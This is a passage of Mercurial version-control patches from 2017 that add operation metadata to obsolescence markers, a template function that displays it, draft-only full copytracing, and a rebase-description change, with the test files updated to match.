-  1ab51af8f9b41ef8c7f6f3312d4706d870b1fb74 29346082e4a9e27042b62d2da0e2de211c027621 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b f9bd49731b0b175e42992a3c8fa6c678b2bc11f1 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  1ab51af8f9b41ef8c7f6f3312d4706d870b1fb74 29346082e4a9e27042b62d2da0e2de211c027621 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
 
 Test adding changeset after obsmarkers affecting it
 (eg: during pull, or unbundle)
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -101,9 +101,9 @@
   o  0:cd010b8cd998 A
   
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 e4e5be0395b2cbd471ed22a26b1b6a1a0658a794 0 (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 2327fea05063f39961b14cb69435a9898dc9a245 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 8eeb3c33ad33d452c89e5dcf611c347f978fb42b 0 (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 e4e5be0395b2cbd471ed22a26b1b6a1a0658a794 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 2327fea05063f39961b14cb69435a9898dc9a245 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 8eeb3c33ad33d452c89e5dcf611c347f978fb42b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
 
   $ cd ..
@@ -171,9 +171,9 @@
   o  0:cd010b8cd998 A
   
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
 
 More complex case where part of the rebase set were already rebased
@@ -181,10 +181,10 @@
   $ hg rebase --rev 'desc(D)' --dest 'desc(H)'
   rebasing 9:08483444fef9 "D"
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (*) {'user': 'test'} (glob)
-  08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
   $ hg log -G
   @  11:4596109a6a43 D
   |
@@ -209,12 +209,12 @@
   note: not rebasing 9:08483444fef9 "D", already in destination as 11:4596109a6a43 "D" (tip)
   rebasing 10:5ae4c968c6ac "C"
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (*) {'user': 'test'} (glob)
-  08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (*) {'user': 'test'} (glob)
-  8877864f1edb05d0e07dc4ba77b67a80a7b86672 462a34d07e599b87ea08676a449373fe4e2e1347 0 (*) {'user': 'test'} (glob)
-  5ae4c968c6aca831df823664e706c9d4aa34473d 98f6af4ee9539e14da4465128f894c274900b6e5 0 (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 5ae4c968c6aca831df823664e706c9d4aa34473d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 0 {5fddd98957c8a54a4d436dfe1da9d87f21a1b97b} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  08483444fef91d6224f6655ee586a65d263ad34c 4596109a6a4328c398bde3a4a3b6737cfade3003 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  8877864f1edb05d0e07dc4ba77b67a80a7b86672 462a34d07e599b87ea08676a449373fe4e2e1347 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5ae4c968c6aca831df823664e706c9d4aa34473d 98f6af4ee9539e14da4465128f894c274900b6e5 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
   $ hg log --rev 'contentdivergent()'
   $ hg log -G
   o  13:98f6af4ee953 C
@@ -350,9 +350,9 @@
   $ hg id --debug -r tip
   4dc2197e807bae9817f09905b50ab288be2dbbcf tip
   $ hg debugobsolete
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (*) {'user': 'test'} (glob)
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (*) {'user': 'test'} (glob)
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a 4dc2197e807bae9817f09905b50ab288be2dbbcf 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
   $ cd ..
 
@@ -412,9 +412,9 @@
   o  0:cd010b8cd998 A
   
   $ hg debugobsolete
-  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b e273c5e7d2d29df783dce9f9eaa3ac4adc69c15d 0 (*) {'user': 'test'} (glob)
-  32af7686d403cf45b5d95f2d70cebea587ac806a cf44d2f5a9f4297a62be94cbdd3dff7c7dc54258 0 (*) {'user': 'test'} (glob)
-  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 7c6027df6a99d93f461868e5433f63bde20b6dfb 0 (*) {'user': 'test'} (glob)
+  5fddd98957c8a54a4d436dfe1da9d87f21a1b97b e273c5e7d2d29df783dce9f9eaa3ac4adc69c15d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  32af7686d403cf45b5d95f2d70cebea587ac806a cf44d2f5a9f4297a62be94cbdd3dff7c7dc54258 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
+  42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 7c6027df6a99d93f461868e5433f63bde20b6dfb 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
 Test that rewriting leaving instability behind is allowed
 ---------------------------------------------------------------------
@@ -1231,7 +1231,7 @@
   $ hg bookmarks
      mybook                    3:be1832deae9a
   $ hg debugobsolete --rev tip
-  1e9a3c00cbe90d236ac05ef61efcc5e40b7412bc be1832deae9ac531caa7438b8dcf6055a122cd8e 0 (*) {'user': 'test'} (glob)
+  1e9a3c00cbe90d236ac05ef61efcc5e40b7412bc be1832deae9ac531caa7438b8dcf6055a122cd8e 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'test'}
 
 Obsoleted working parent and bookmark could be moved if an ancestor of working
 parent gets moved:
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -1112,11 +1112,11 @@
   $ hg ci -Aqm a
   $ hg ci --amend -m a2
   $ hg debugobsolete
-  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg strip .
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   saved backup bundle to $TESTTMP/issue5678/.hg/strip-backup/489bac576828-bef27e14-backup.hg (glob)
   $ hg unbundle -q .hg/strip-backup/*
   $ hg debugobsolete
-  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ cd ..
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1505497402 25200
#      Fri Sep 15 10:43:22 2017 -0700
# Node ID 7cdc8c5a481a4321f2646317dee5454b257c3163
# Parent  ecc96506c49d24b0007cee83508404ea32d53a73
templates: introduce a obsfateoperation() function

Differential Revision: https://phab.mercurial-scm.org/D723

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -646,3 +646,12 @@
     users = set(meta.get('user') for meta in markersmeta if meta.get('user'))
 
     return sorted(users)
+
+def markersoperations(markers):
+    """ Returns a sorted list of markers operations without duplicates
+    """
+    markersmeta = [dict(m[3]) for m in markers]
+    operations = set(meta.get('operation') for meta in markersmeta
+                     if meta.get('operation'))
+
+    return sorted(operations)
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -878,6 +878,23 @@
     func = lambda a, b: a % b
     return runarithmetic(context, mapping, (func, args[0], args[1]))
 
+@templatefunc('obsfateoperations(markers)')
+def obsfateoperations(context, mapping, args):
+    """Compute obsfate related information based on markers (EXPERIMENTAL)"""
+    if len(args) != 1:
+        # i18n: "obsfateoperations" is a keyword
+        raise error.ParseError(_("obsfateoperations expects one arguments"))
+
+    markers = evalfuncarg(context, mapping, args[0])
+
+    try:
+        data = obsutil.markersoperations(markers)
+        return templatekw.hybridlist(data, name='operation')
+    except (TypeError, KeyError):
+        # i18n: "obsfateoperations" is a keyword
+        errmsg = _("obsfateoperations first argument should be an iterable")
+        raise error.ParseError(errmsg)
+
 @templatefunc('obsfatedate(markers)')
 def obsfatedate(context, mapping, args):
     """Compute obsfate related information based on markers (EXPERIMENTAL)"""
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -14,9 +14,10 @@
   > [templates]
   > obsfatesuccessors = "{if(successors, " as ")}{join(successors, ", ")}"
   > obsfateverb = "{obsfateverb(successors)}"
+  > obsfateoperations = "{if(obsfateoperations(markers), " using {join(obsfateoperations(markers), ", ")}")}"
   > obsfateusers = "{if(obsfateusers(markers), " by {join(obsfateusers(markers), ", ")}")}"
   > obsfatedate = "{if(obsfatedate(markers), "{ifeq(min(obsfatedate(markers)), max(obsfatedate(markers)), " (at {min(obsfatedate(markers))|isodate})", " (between {min(obsfatedate(markers))|isodate} and {max(obsfatedate(markers))|isodate})")}")}"
-  > obsfate = "{obsfateverb}{obsfatesuccessors}{obsfateusers}{obsfatedate}; "
+  > obsfate = "{obsfateverb}{obsfateoperations}{obsfatesuccessors}{obsfateusers}{obsfatedate}; "
   > [alias]
   > tlog = log -G -T '{node|short}\
   >     {if(predecessors, "\n  Predecessors: {predecessors}")}\
@@ -90,21 +91,21 @@
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelog
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelog -v
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test1, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg up 'desc(A1)' --hidden
@@ -127,7 +128,7 @@
   o  d004c8f274b9
   |
   | @  a468dc9b3633
-  |/     Obsfate: rewritten as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   o  ea207398892e
   
 Predecessors template should show all the predecessors as we force their display
@@ -156,9 +157,9 @@
   o  d004c8f274b9
   |
   | @  a468dc9b3633
-  |/     Obsfate: rewritten as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
   o  ea207398892e
   
 
@@ -201,9 +202,9 @@
   @  d004c8f274b9
   |
   | x  a468dc9b3633
-  |/     Obsfate: rewritten as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000);
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test1 (at 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -653,7 +654,7 @@
   | o  fdf9bde5129a
   |/
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(A1)'
@@ -709,11 +710,11 @@
   o  019fadeab383
   |
   | x  65b757b745b9
-  |/     Obsfate: rewritten as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000);
   | @  fdf9bde5129a
   |/
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
 
@@ -859,7 +860,7 @@
   o  eb5a0daa2192
   |
   | @  0dec01379d3b
-  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  | |    Obsfate: rewritten using amend as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
   |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
@@ -942,7 +943,7 @@
   | x  b7ea6d14e664
   | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   | | x  0dec01379d3b
-  | |/     Obsfate: rewritten as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000);
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000);
   | x  471f378eab4c
   |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
@@ -1068,7 +1069,7 @@
   o  7a230b46bf61
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
   $ hg up 'desc(A2)'
@@ -1105,7 +1106,7 @@
   @  7a230b46bf61
   |
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
 
@@ -1438,7 +1439,7 @@
   | o  ba2ed02b0c9a
   | |
   | x  4a004186e638
-  |/     Obsfate: rewritten as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000); rewritten as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000); rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000);
   o  dd800401bd8c
   |
   o  f897c6137566
@@ -1511,7 +1512,7 @@
   | o  ba2ed02b0c9a
   | |
   | x  4a004186e638
-  |/     Obsfate: rewritten as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000); rewritten as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000); rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000);
   o  dd800401bd8c
   |
   | x  9bd10a0775e4
@@ -1590,7 +1591,7 @@
   o  dd800401bd8c
   |
   | @  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000); split as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: split using amend, rebase as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000); split using amend, rebase as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000);
   o  f897c6137566
   |
   o  ea207398892e
@@ -1670,7 +1671,7 @@
   | x  fdf9bde5129a
   |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
   | @  471f378eab4c
-  |/     Obsfate: rewritten as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
   o  ea207398892e
   
 
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1504449405 -19800
#      Sun Sep 03 20:06:45 2017 +0530
# Node ID fc3b8483c6cb4eef8671867194eb064f898f38a8
# Parent  7cdc8c5a481a4321f2646317dee5454b257c3163
copytrace: use the full copytracing method if only drafts are involved

This patch adds the functionality to use the full copytracing even if
`experimental.copytrace = heuristics` in cases when drafts are involved.

This is also a part of copytrace extension in fbext.

This also adds tests which are also taken from fbext.

.. feature::

   The `heuristics` option for `experimental.copytrace` performs full
   copytracing if both source and destination branches contains non-public
   changsets only.

Differential Revision: https://phab.mercurial-scm.org/D625

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -15,6 +15,7 @@
     match as matchmod,
     node,
     pathutil,
+    phases,
     scmutil,
     util,
 )
@@ -367,10 +368,27 @@
     if copytracing == 'off':
         return {}, {}, {}, {}, {}
     elif copytracing == 'heuristics':
+        # Do full copytracing if only drafts are involved as that will be fast
+        # enough and will also cover the copies which can be missed by
+        # heuristics
+        if _isfullcopytraceable(c1, base):
+            return _fullcopytracing(repo, c1, c2, base)
         return _heuristicscopytracing(repo, c1, c2, base)
     else:
         return _fullcopytracing(repo, c1, c2, base)
 
+def _isfullcopytraceable(c1, base):
+    """ Checks that if base, source and destination are all draft branches, if
+    yes let's use the full copytrace algorithm for increased capabilities since
+    it will be fast enough.
+    """
+
+    nonpublicphases = set([phases.draft, phases.secret])
+
+    if (c1.phase() in nonpublicphases) and (base.phase() in nonpublicphases):
+        return True
+    return False
+
 def _fullcopytracing(repo, c1, c2, base):
     """ The full copytracing algorithm which finds all the new files that were
     added from merge base up to the top commit and for each file it checks if
diff --git a/tests/test-copytrace-heuristics.t b/tests/test-copytrace-heuristics.t
--- a/tests/test-copytrace-heuristics.t
+++ b/tests/test-copytrace-heuristics.t
@@ -589,3 +589,79 @@
   $ cd ..
   $ rm -rf server
   $ rm -rf repo
+
+Test full copytrace ability on draft branch
+-------------------------------------------
+
+File directory and base name changed in same move
+  $ hg init repo
+  $ initclient repo
+  $ mkdir repo/dir1
+  $ cd repo/dir1
+  $ echo a > a
+  $ hg add a
+  $ hg ci -qm initial
+  $ cd ..
+  $ hg mv -q dir1 dir2
+  $ hg mv dir2/a dir2/b
+  $ hg ci -qm 'mv a b; mv dir1 dir2'
+  $ hg up -q '.^'
+  $ cd dir1
+  $ echo b >> a
+  $ cd ..
+  $ hg ci -qm 'mod a'
+
+  $ hg log -G -T 'changeset {node}\n desc {desc}, phase: {phase}\n'
+  @  changeset 6207d2d318e710b882e3d5ada2a89770efc42c96
+  |   desc mod a, phase: draft
+  | o  changeset abffdd4e3dfc04bc375034b970299b2a309a1cce
+  |/    desc mv a b; mv dir1 dir2, phase: draft
+  o  changeset 81973cd24b58db2fdf18ce3d64fb2cc3284e9ab3
+      desc initial, phase: draft
+
+  $ hg rebase -s . -d 1
+  rebasing 2:6207d2d318e7 "mod a" (tip)
+  merging dir2/b and dir1/a to dir2/b
+  saved backup bundle to $TESTTMP/repo/repo/.hg/strip-backup/6207d2d318e7-1c9779ad-rebase.hg (glob)
+  $ cat dir2/b
+  a
+  b
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Move directory in one merge parent, while adding file to original directory
+in other merge parent. File moved on rebase.
+  $ hg init repo
+  $ initclient repo
+  $ mkdir repo/dir1
+  $ cd repo/dir1
+  $ echo dummy > dummy
+  $ hg add dummy
+  $ cd ..
+  $ hg ci -qm initial
+  $ cd dir1
+  $ echo a > a
+  $ hg add a
+  $ cd ..
+  $ hg ci -qm 'hg add dir1/a'
+  $ hg up -q '.^'
+  $ hg mv -q dir1 dir2
+  $ hg ci -qm 'mv dir1 dir2'
+
+  $ hg log -G -T 'changeset {node}\n desc {desc}, phase: {phase}\n'
+  @  changeset e8919e7df8d036e07b906045eddcd4a42ff1915f
+  |   desc mv dir1 dir2, phase: draft
+  | o  changeset 7c7c6f339be00f849c3cb2df738ca91db78b32c8
+  |/    desc hg add dir1/a, phase: draft
+  o  changeset a235dcce55dcf42034c4e374cb200662d0bb4a13
+      desc initial, phase: draft
+
+  $ hg rebase -s . -d 1
+  rebasing 2:e8919e7df8d0 "mv dir1 dir2" (tip)
+  saved backup bundle to $TESTTMP/repo/repo/.hg/strip-backup/e8919e7df8d0-f62fab62-rebase.hg (glob)
+  $ ls dir2
+  a
+  dummy
+  $ rm -rf server
+  $ rm -rf repo
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1505873815 -19800
#      Wed Sep 20 07:46:55 2017 +0530
# Node ID 1d6558f5ea74cd9b26225e8033936cd338025748
# Parent  fc3b8483c6cb4eef8671867194eb064f898f38a8
tersestatus: sort the dictionary before iterating on it

There has report of flakiness in test-status-terse.t. In the terse code, we are
iterating on a dictionary without sorting and since python dicts are unordered,
that can be a reason behind the flakiness. Before we have a better
implementation for the terse thing, let's make sure current implementation
possess minimum bugs.

Differential Revision: https://phab.mercurial-scm.org/D740

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -536,7 +536,7 @@
 
         rs = []
         newls = []
-        for par, files in pardict.iteritems():
+        for par, files in sorted(pardict.iteritems()):
             lenpar = numfiles(par)
             if lenpar == len(files):
                 newls.append(par)
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1505883986 25200
#      Tue Sep 19 22:06:26 2017 -0700
# Node ID 4f969b9e0cf5d4f2cfb7392cef7f43b74d17c5e4
# Parent  1d6558f5ea74cd9b26225e8033936cd338025748
rebase: also include other namespaces in changeset description

This makes use of the generic method of listing bookmarks and tags, so
other extensions that add other namespaces will get their names added
too.

This does mean that bookmarks will come before tags, just like we
apparently decided to order them in the "hg log" output. It doesn't
seem like people would be parsing the rebase output anyway. We also
did 79ab5369d55a (rebase: use _ctxdesc in one more place, 2017-08-29)
recently, so now seems like a good time.

Differential Revision: https://phab.mercurial-scm.org/D741

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -125,7 +125,11 @@
     desc = '%d:%s "%s"' % (ctx.rev(), ctx,
                            ctx.description().split('\n', 1)[0])
     repo = ctx.repo()
-    names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
+    names = []
+    for nsname, ns in repo.names.iteritems():
+        if nsname == 'branches':
+            continue
+        names.extend(ns.names(repo, ctx.node()))
     if names:
         desc += ' (%s)' % ' '.join(names)
     return desc
diff --git a/tests/test-bookmarks-rebase.t b/tests/test-bookmarks-rebase.t
--- a/tests/test-bookmarks-rebase.t
+++ b/tests/test-bookmarks-rebase.t
@@ -37,7 +37,7 @@
 rebase
 
   $ hg rebase -s two -d one
-  rebasing 3:2ae46b1d99a7 "3" (tip two)
+  rebasing 3:2ae46b1d99a7 "3" (two tip)
   saved backup bundle to $TESTTMP/.hg/strip-backup/2ae46b1d99a7-e6b057bc-rebase.hg (glob)
 
   $ hg log
@@ -77,7 +77,7 @@
   created new head
   $ hg bookmark three
   $ hg rebase -s three -d two
-  rebasing 4:dd7c838e8362 "4" (tip three)
+  rebasing 4:dd7c838e8362 "4" (three tip)
   merging d
   warning: conflicts while merging d! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see hg resolve, then hg rebase --continue)
@@ -92,7 +92,7 @@
 after aborted rebase, restoring a bookmark that has been removed should not fail
 
